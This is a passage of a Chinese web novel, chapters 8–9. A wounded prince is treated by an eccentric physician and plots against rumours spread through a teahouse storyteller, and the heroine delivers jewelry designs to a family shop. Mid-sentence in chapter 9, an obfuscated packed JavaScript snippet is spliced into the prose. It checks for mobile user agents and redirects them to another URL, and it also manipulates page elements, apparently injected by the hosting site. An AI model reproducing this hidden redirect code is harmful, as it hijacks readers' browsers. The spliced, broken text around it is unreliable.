胡子花白的老者时间掐的刚刚好,推门进殿,手里拎了个足有三四寸长宽的药箱。 掀了珠帘既不行礼也不问安,大咧咧把药箱往离床榻不远的书案上一撂,然后,从里面取出了一大把泛着森森寒光的银针。 悄悄往他那边打量的小全子瞬间头皮发麻,眼珠子都要瞪出来了。 这、这这这这……殿下究竟病得有多重,才要用到这么多银针! 他左看右看觉得自己站得近了会碍事,自觉退出了珠帘外等着吩咐。 寻清宴抬头看了他眼没制止,只让把那盘没动过的蜜饯放到床案上。 鲁莫子是在五年前,被璃王殿下身边的近侍蒋忻——蒋大人亲自领回府上的。 这人虽然疯疯癫癫还不守礼数,但医术是实打实的高超。 什么疑难杂症到了他这儿,都能跟寻常伤风感冒似的轻易治愈,绝对担得起一个“神医”的称号。 就是性子着实怪,治病救人全凭心情,做府医的这几年,也就殿下能享受到他随叫随到的待遇。 鲁莫子旁若无人的拿烈酒一一浸过银针,看床榻上的璃王殿下自觉退了上衣,心里不住点头十分满意。 大夫就喜欢这样听话的病人。 “听说你把蒋忻派出去找人了?什么人还需要蒋大侍卫亲自出马?” 搭话是搭话,但手起针落毫不含糊。 寻清宴闭着眼睛忍住喉间的闷痛声,勾着唇笑容浅淡,“是个很重要的人,必须要蒋忻去我才放心。” “呦!那您的心可真大,围猎时究竟什么人要您的命都尚且不得而知呢,还有闲工夫管那些风花雪月的劳什子事儿?” “不是你想得那样……” 寻清宴抿了抿淡色的唇,原是想说些什么,最后却只笑着摇了摇头,“罢了,本王托你去寻先前我伤口上那药的出处,可有眉目了?” 鲁莫子闻言施针的手顿了顿,神情莫名古怪:“找是找到了,不过殿下确定要知道?” …… 8. 第 8 章 半个时辰后,听了满脑子“风花雪月”的小全子如蒙大赦,几乎是脚下生风般出了内殿。 王德胜扶着老腰在外面等候多时,一见他出门就把人拉到了角落里问话。 “怎么样?殿下的身子好些了吗?” “嗨呦!我就说殿下被寻回来的时候肩上用的那药不顶事儿,哪有宫里的好,殿下当时还不让人给换……我这都闪了腰有小半月了,也不知道殿下身体到底怎样了!” 小全子自打五岁就开始跟在王德胜身边,是真把这位德高望重的老公公当成了自己亲爹,是以对他很敬重。 揪着耳朵听他絮絮叨叨完,临到末才老实巴交摇了摇头:“师父,那药是没用错的,鲁神医说农家的止血药虽抵不过宫里的,但确确实实保住了殿下的性命,就是……” “就是什么?你倒是快说啊!” 自打受伤回府后就没见上寻清宴的面儿,王德胜这会儿都快急死了。 也不知道自己这个亲手带大的徒弟,什么时候说话竟是这班吞吞吐吐了! 小全子为难的挠了挠后颈,耳朵连着整张脸都慢慢涨红了,实在不知道该怎么说殿下的情况。 眼见着师父就要生气,一咬牙,扬着脖子直接把屋里那位鲁神医的话复述了出来。 “鲁神医说殿下身体无忧!但蒋大人当时找到殿下的时候殿下衣衫凌乱,腰间的腰封还被人解开过!山野村夫行事粗鄙,咱们殿下又生的花容月貌,别是在那荒山野岭让人占了便宜!” 急着等下话的王德胜瞬间如遭雷击:“你、你说什么!!!???” 待反应过来,竟顾不得场合就要拍着大腿嚎啕大哭起来。 “我可怜的殿下啊!这都遭的什么罪啊!” 而拎着药箱子蹲在两人不远处,跟小全子一前一后出门的鲁莫子神色凝重,慢悠悠捋着胡子回忆。 我刚刚原话是跟殿下这样说的??? 怎么听着哪有些不对劲儿呢? …… 而同一时间的顾家,终于收拾妥当,准备睡个午觉的沈时越猝不及防打了个喷嚏。 ? 谁在说我坏话? 上京城的生活奢靡且无聊。 顾凉凉大小姐的习性不管什么时候都改不了一点,每天除了买买买,就是满京城铺子淘新话本子。 沈时越对那些东西兴趣不大,但跟她逛书铺子的时候倒是意外买到了几本有意思的古籍。 古代没网络没手机,娱乐活动单一。 对顾大小姐这样好动的人来说,茶楼的说书场可以说是及其有吸引力。 尤其是这个时代的说书内容都是以真实事件改编,什么《穷书生夜探闺阁》、《富家少爷追爱农家女》早就过时了,听众们的熊熊八卦心需要更刺激的内容来填平。 赶巧,两人今天听的这场,就是前段时间才赶出本子的新内容。 穿着灰袍的说书人醒木一拍,摇着破扇子娓娓道来。 “话说京城有这么一大户人家,老爷许官人有一妻三妾,皆是貌若天仙,发妻陈氏身子有疾,膝下多年无所出,三个妾室负责开枝散叶,面上相处说得上和睦。” “要说这三个妾室里,当属二姨太李氏最得宠,生得那叫一个我见犹怜,且性情温婉,最是朵解语花,其次是三姨太秦氏,性子张扬泼辣,样貌美艳,最善心计,入府不多时便给许家添了个男丁。大姨太陈氏虽样貌平平,但家世显赫,平日里不显山不露水,但许官人那边的好处却从没少得,且膝下有一儿两女傍身,日子过得相当滋润。” “可惜天不随人愿,三个姨太两年内接连为府中提添丁原本是件好事,没成想最受宠的二姨太刚生产完不久,一场大火就让其香消玉殒。险些活下来的五少爷自此成了灾星,身体羸弱不说,亲爹面前也不得眼,在许家活得如履薄冰……” 顾凉凉瓜子嗑得有点多,猛喝了一大碗放凉了的千仓普洱,掏了掏耳朵。 “我怎么觉得这故事在哪听过?” 沈时越有些无聊,撑着下巴点茶楼一楼的人头数,顺带回了她的话。 “你没听错,这说书的讲得就是皇家哪段辛秘,至于那个倒霉催的五少爷,恐怕就是你男神寻清宴。” 在《重生之凤起》这本小说的原书剧情里,皇后确实一生未育子嗣。 大皇子寻政的生母是贤妃陈漾雪,外公是威名远扬的镇国大将军,三皇子寻盛的生母是皇贵妃秦唯昭,就是如今在宫中也极为受宠。 这些人都能跟说书的口中那些宠妾一一对上。 “啊?” 顾凉凉看了看楼下大堂中央慷慨激昂的说书人,又看了看满场仰着脖子兴奋等下文的听众,不理解且大为震惊。 “这老头就这样堂而皇之把皇家事编成话本,不怕传到圣上耳朵里被砍头啊?” “怕什么,他故事里的主角是许姓官人,又不是姓寻,就算传到上面也没辙。” 顾凉凉沉默,“还能这样?” “不然你觉得后世那么多野史是哪来的?世人大多只管自己听得高兴,哪管得事情的真相如何?黑白颠倒,是非不分,最后以一句未知全貌结尾的事难道还少吗。” 沈时越捏了捏撑得酸胀的胳膊,准备起身再要上一盘点心。 下一刻,视线敏锐投向右手侧那间房门半开的厢房。 那房间,似乎从她们来时就一直如此,自她这个角度看过去,里并没有人。 “……是感觉错了吗?” 恰时说书人拍了把醒木,饮了口茶水接着道,“转眼十几年过去,几个姨太的孩子长大成人,三十年河东三十年河西,如今成了三姨太秦氏所生的二少爷最得许官人眼。” “阳春三月天,许官人带着一大家子出门游玩,谁曾想竟会遇上山匪打劫,几个儿子接连走散。二少爷跟五少爷都中了山匪的招儿身负重伤,在山间整整游荡了三天才幸得相助。” “至于那救人的,乃是京中大户苏家小姐!原是出门赏花看景,意外碰上了昏迷在山间的许二少爷,两人一个风神俊朗,一个如花似玉,又有救命之恩牵线……” 说书人笑了笑没把话说全,给听众留足了自由发挥的悬念。 倒是台下众人相当配合,皆是笑得意味深长。 “那同样受伤被救的五少爷呢?他后来怎样了?” 有人注意到同样受伤的五少爷没结局,好奇询问,众人皆都才反应过来这个差点被遗忘的人。 “对啊,那个五少爷呢,他不是也被人救了吗,最后怎么样了……” “对啊对啊……” 说书人闻言捋了捋胡子,摇着手里的那把破折扇也不说话,给台下的小二使了个眼色。 小二收到示意,端着个木托盘往听众席走。 哦,众人明白了,以下是付费内容。 当朝二皇子、五皇子前段时间跟圣上一起去朝暮山狩猎,最后失踪整整四天的事早在城中传得沸沸扬扬。 那救人的小姐分明是宋家大小姐宋寒依,跟二皇子郎才女貌,谣传圣上已经起了给两人赐婚的心思。 至于不受宠的五皇子,从失踪到被救回都消息甚少。 台下众人心知肚明今日这新话本内容出自何处,也愿意给想窥探皇家辛秘的好奇心买单。 待小二屁颠屁巅托着满盘子的铜钱回来,说书人笑得眉不见眼。 拍了一把醒木,清了清嗓子才接着道,“话说那位五少爷绝处逢生,醒过来的第一件事就是到处找自己的那位救命恩人,但因在家中不受宠,能打点的地方实在有限,待终于找到救命恩人的消息,京中早就传出了二少爷跟苏家小姐互生情愫的消息。” “至于他的那位救命恩人,竟是跟二少爷的救命恩人同出一人!” 顷刻,台下满堂喧哗。 “这天下竟是有如此巧合之事?” “世界之大无奇不有,缘分一说自古不可掌控,那五少爷自从知道救命恩人乃是宋家小姐后就茶饭不思,身体状况每日愈下。至于这三人感情纠纷最后究竟如何?” “请听下回分解!” 说书人醒木一拍,施施然退台,留一众听 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而同样在二楼厢房听书的寻清宴,直到散场才懒洋洋站起身,捋了捋披风上不存在的褶皱,看着茶楼大门离开的某道身影,眉眼弯起。 “唔,没听人家说本王不受宠,连打点关系的银钱都掏不起吗?” 蒋忻:“……那也不能继续放任他破坏您的名声!” 寻清宴轻笑,抬手抵唇咳了几声。 他今天难得穿了套竹青的浅色衣衫,面上还带着些久病初愈的苍白,被披风上雪白的狐毛领子掩去小半张脸,看起来比先前更加弱不禁风。 但笑起来的时候依旧惹眼极了,琥珀色的眼睛似是覆着层莹莹水汽,连右侧眉尾的那颗红痣都微微扬起。 “这说书人其实也并非全然胡言乱语,从某种程度上来说,我确实是被那位宋家小姐带回京城的。” 说起来,宋家祖上也是承袭爵位富贵过的,但一代比一代落寞,到了如今当家人宋毅和这辈,只堪堪剩了个伯爵的噱头。 大小姐宋寒依是宋家嫡女,母亲原为当朝礼部侍郎最宠爱的小女儿,当年算是下嫁到宋家。 可惜生产时血崩早逝,留下这么一个幼女,在“豺狼虎豹”环伺的家族生存。 宋毅和生性风流,原配去世后这些年纳的小妾足足十几个,膝下庶子庶女更是数不胜数。 蒋忻想了想从宋家打探到的消息,警敏道:“相传宋家大小姐生性怯懦,多年来一直被底下的庶弟庶妹欺压,但自半年前起,不知为何性格大变,不仅从妾室手里夺了掌家权,还将宋家名下铺子做的风生水起……这点真的很奇怪。” “性情突然大变……”,寻清宴摸了摸右手腕若有所思。 “告诉蒋其、蒋闻他们,这段时间不用盯着宋家了,有件更重要的事需要他们去做。” “但如今京中流言四起,过了今天恐怕会传出来您跟二皇子相争一女的事,殿下不打算管了吗?” “管,当然要管”,寻清宴扯下腰间的皇子玉佩递给蒋忻,笑容有些意味不明。 “你今晚亥时拿着本王的令牌进一次宫,带上王德胜,就说本王伤势突然恶化危在旦夕,求太医院的血灵芝一用。若是有人问起,只需透露本王今天来过茶楼听书既可。” 蒋忻瞬间明白他的用意,正色应下:“是,但如今京中传的话本子怎么办?需不需要属下……” “不必,这种下作手段,除了本王那位好皇兄,没人使得出来,却也正合了本王意。” 将茶钱放到桌上,两人出了茶楼。 “让你去查宋寒依为何出现在朝暮山的事,查得怎么样了?” “据目前属下查到的,她确实只是带着丫鬟小厮到朝暮山周边游山玩水,至于为何会这么巧能绕到朝暮山西面,碰上您跟二皇子,现在还无从查证。” “巧合吗……” 寻清宴垂眸思索片刻,似是突然想到什么眼睛一亮,随后唇角翘起。 “蒋忻,你去帮本王办件事。” …… 9. 第 9 章 自从茶楼离开,沈时越两人都没了什么继续逛下去的欲望。 恰巧顾夫人今天去城西玉石铺子查账,原本还想到那边顺便接她一起回家,但想起出门前,顾礼道托她们把新首饰花样的图纸送去店里,商量分开行动更节省时间。 “越越,给了图纸你就先在店里等我或者在附近逛逛,我接了娘亲后马上来接你哦。” “不着急,现在天色还早,路上小心些。” “好呢好呢~” 目送顾凉凉的马车离开,沈时越转身往首饰店那边的方向去。 京都的繁华向来不分昼夜,即使已经到了日晡时分,路上的行人依旧络绎不绝。 被留下来跟着她的点春有些不情愿,面上倒没明显表现出来。 距从平岁镇回京已经过去整整半个月,如今顾家上上下下都知道自家主子从乡下带回来了一个姑娘,吃穿用度都跟大小姐一样。 开始,不乏心思活络的下人猜测沈时越的身份,被顾家管家撞见过一次后狠狠训斥了顿,后来那些声音就渐渐消了,下人们面上也恭敬起来。 但点春对沈时越的来历再清楚不过,心里难免有些不平跟瞧不上。 按出身,自己虽是顾家大小姐的丫鬟,但未入奴籍,家中也是京城人士。 按在顾家的时间,自己在小姐身边跟了六七年,府中下人余余总总加起来上百人,除了迎夏,小姐就跟自己最亲近。 不管从哪方面说,自己都要比沈时越这个突然冒出来的乡下丫头、而且还是容貌受损的乡下丫头强上太多。 可她偏偏就是被老爷带回了顾家,还是以小姐的待遇留在了顾家! 点春心中忿忿,却也只能生生忍着。 临到市集,她眼珠子转了转,突然朝前面走的沈时越道:“沈姑娘,我突然想起来有些东西要买,不如你自己去店里送图纸吧。” “怎么?” “就是,想起来有些东西要添置,首饰店离这里不远,你自己也能过去的吧。” “……可以。” 沈时越哪里看不出来她的小心思,也懒得跟她计较这么多,自己往首饰店方向走。 顾家生意囊括纷多,只这京城的首饰铺子就占了足足四成。 其中最大的一家店名为“鸣鸾阁”,专为京中大家小姐、女眷提供首饰,款式多华丽夸张,金玉宝石镶嵌工艺耀眼夺目,且极其受追捧。 沈时越手里的图纸就是要往这家店送的。 “请姑娘安,不知姑娘想看什么首饰?” 刚一进门,就有售货娘子笑意盈盈相接。 鸣鸾阁是顾家名下产金蛋的金疙瘩,又因接待的顾客多为官家女眷,店员掌柜都是从教坊司里花了大价钱请来的,礼仪样样周到。 负责接待她的这位售货娘子看起来最多二十出头,仪态端正,长发利索梳成飞仙髻,配上一张让人如沐春风的秀丽面容,不免让人只一眼便心生好感。 “我不是来买首饰的,我找你们掌柜,有东西要亲手交给他。” “您找赵掌柜?” 售货娘子闻言有些诧异,温柔的眼睛不带恶意的将她打量了一遍。 眼前的少女年纪应当不大,梳着未出阁小姐才会梳的双蝶髻,身姿窈窕,两边发髻尾端还系了跟衣裙颜色相称的暖橘色丝带,即使用薄纱挡了脸也难掩俏美。 她先前在教坊也是见惯了大户人家的,只一眼便看出这姑娘虽打扮简单,身边也没带侍女小厮,但身上的衣料发饰皆为上品。 只在心里思量片刻,她便笑了笑,朝沈时越轻声道了一句“稍等”,移步去后阁叫了人。 鸣鸾阁的掌柜名叫钱兆,是顾夫人的表亲,年纪只比自己的外甥女顾凉凉大了七八岁,看起来相当年轻,气质斯文儒雅,还有见人先笑的习惯。 若是生在现代,必定是很受姑娘喜欢的那种温柔邻家哥哥类型。 沈时越如今年龄比顾凉凉要小上半岁,按理也要喊上钱兆一句小表舅。 但怎么说都是第一次见面,自己是对顾凉凉“有恩”,不是对顾家所有人有恩,为了避免上来就套近乎惹人不悦,她规规矩矩朝钱兆行了一礼。 “钱掌柜。” “你是时越姑娘吧?” 钱兆见了沈时越反倒是没多有意外,笑着抬手虚扶了她一下。 “这些日子表姐跟姐夫时常跟我提起你,说自你来了后凉凉都变得乖巧了不少。” “不敢当,只是我跟凉凉性子投得来罢了。” “哈哈哈话可不能这么说,姐姐姐夫可是鲜在我面前夸过谁的,凉凉那丫头性格跳脱,很少能把谁当成知心朋友,她如此喜爱你,可见你确实是个好姑娘。” 两人寒暄了几句,钱兆毫不见外领着她往后阁方向去,边走还边道:“你既是凉凉的好友,跟她一起唤我声舅舅便可,‘钱掌柜’这称呼听起来总觉得过于生分。” 沈时越面纱下的唇角微微勾了起来,应着他这份好意从善如流唤了声:“舅舅。” 她将这次的图纸交到钱兆手里,钱兆也没避着她,直接打开来看。 近日京中盛行流苏发簪,城中各样式若是认真搜罗起来犹如过江之鲫数不胜数,但若仔细计较,其实大多雷同。 寻常人家暂且不提,但那些官家小姐,可绝是不悦与别家姑娘用款式相似的首饰的。 鸣鸾阁能在京中长盛不衰,除了用料、工艺数一数二,再者靠得便是这首饰款式与众不同。 前些时日,专门为鸣鸾阁画首饰图纸的师父终究还是灵思枯竭,再三致歉后主动辞了行。 钱兆原本因为这事急得头顶冒火。 顾礼道到底见过的大风大浪比他多,虽然也着急画图师傅的事,但要沉稳许多。 “画图师傅的事我来想办法,这段时间就算是店内营收下滑也莫要心浮气躁,做好本分生意。” “我知晓了,姐夫。” 话是这样说没错,可京中画技好,又多巧思的师父凤毛麟角,且大多被其他京商专门收用,短时间内再找一个哪有那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504837|170318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么容易。 原以为姐夫说重新找人的话只是暂时安抚自己,没成想仅过两天,新图纸就送了到店里来,且承诺每隔半月都有更换。 钱兆看着今天手中新送的图纸,即便早有预料,还是没忍住赞不绝口。 祥云簪体温婉端庄,再用以银丝嵌边,削弱了白玉本身带有的距离感。 流苏部分不再是京中款式雷同的金银丝环,而是换成了莹润的米粒珍珠,再用大小相似的亮眼蓝宝石掺入其中提色。 款式新颖,华丽却不浮夸,用料也大胆。 “就是不知这位画图师傅究竟是何方神圣,上次他送来的兰蝶流苏穗在店中就卖得极好,甚至引得别家铺子争相模仿,这次的祥云流苏簪款式更是在这京中独一份!” 沈时越没有接他的话,露在面纱外的眉眼却不自觉弯起。 天色尚早,钱兆又带她在后阁转了转。 店铺后阁一般都是用来储货的地方,鸣鸾阁既做的是首饰买卖,那这里面必然是未经打磨的金银玉器繁多。 首饰的样式先前是那位辞行的师傅来画,之后由钱掌柜定下用什么料子,然后再一起送到工匠师傅手里。 当然,客人也可以自己带着图纸到鸣鸾阁定做首饰,只不过这种情况是极少数。 两人出了后阁,又去前店看了一圈。 前店阁楼分为上下两层,楼上是专门放置新出首饰与客人定做首饰的地方,不管用料好坏与否,其价值都要比楼下那些贵重得多。 华贵的珠钗玉环琳琅满目,被工匠师傅一点点雕刻成如今的模样,安静躺在精致的妆匣里,等待主人光顾。 凡是亲眼所见,恐怕,这世间难有女子能拒绝走进这么一家店。 犹豫片刻,沈时越还是指着其中最为华丽的那支发钗好奇问道。 “舅舅,这枚金钗也是哪位客人定做的吗?” 她指的那枚发钗通体由黄金打造,造型是一只展翅翱飞、口衔南珠的凤凰,凤眼是两颗血红宝石,凤翅尾部做的十分灵动飘逸,恍惚间,似是真有那么一只神兽在挥羽,傲慢的展示着自己羽间镶嵌的价值不菲的珍珠。 奢靡精致,却不俗气。 它被单独放在一个很大的妆匣中,看起来,有些像新娘出嫁时才会戴的首饰。 “这枚发钗啊,是大概一个月前有位客人来我们这里定做的,客人并未透漏身份,只派人留下了图纸跟大笔定金,打造这只钗所用的材料也是那位客人出的,是不是很美?” 沈时越诚实点头应和,毕竟不管从哪方面来说,这件首饰都美得毫无争议。 钱兆笑着拿干净的绢布拭去妆匣表面不存在的浮灰,像打趣,更像是在感慨。 “这枚发钗还只是那位客人定做的其中一样,图纸上还有对跟这发钗一套的步摇、珥珰,师傅们正在赶工。我猜这位客人若是女子,那在家中必定极受宠爱,若是男子,豪掷千金打造这么一副女子出嫁时才会戴的头面,十有八九是为了送给心爱的姑娘。” ……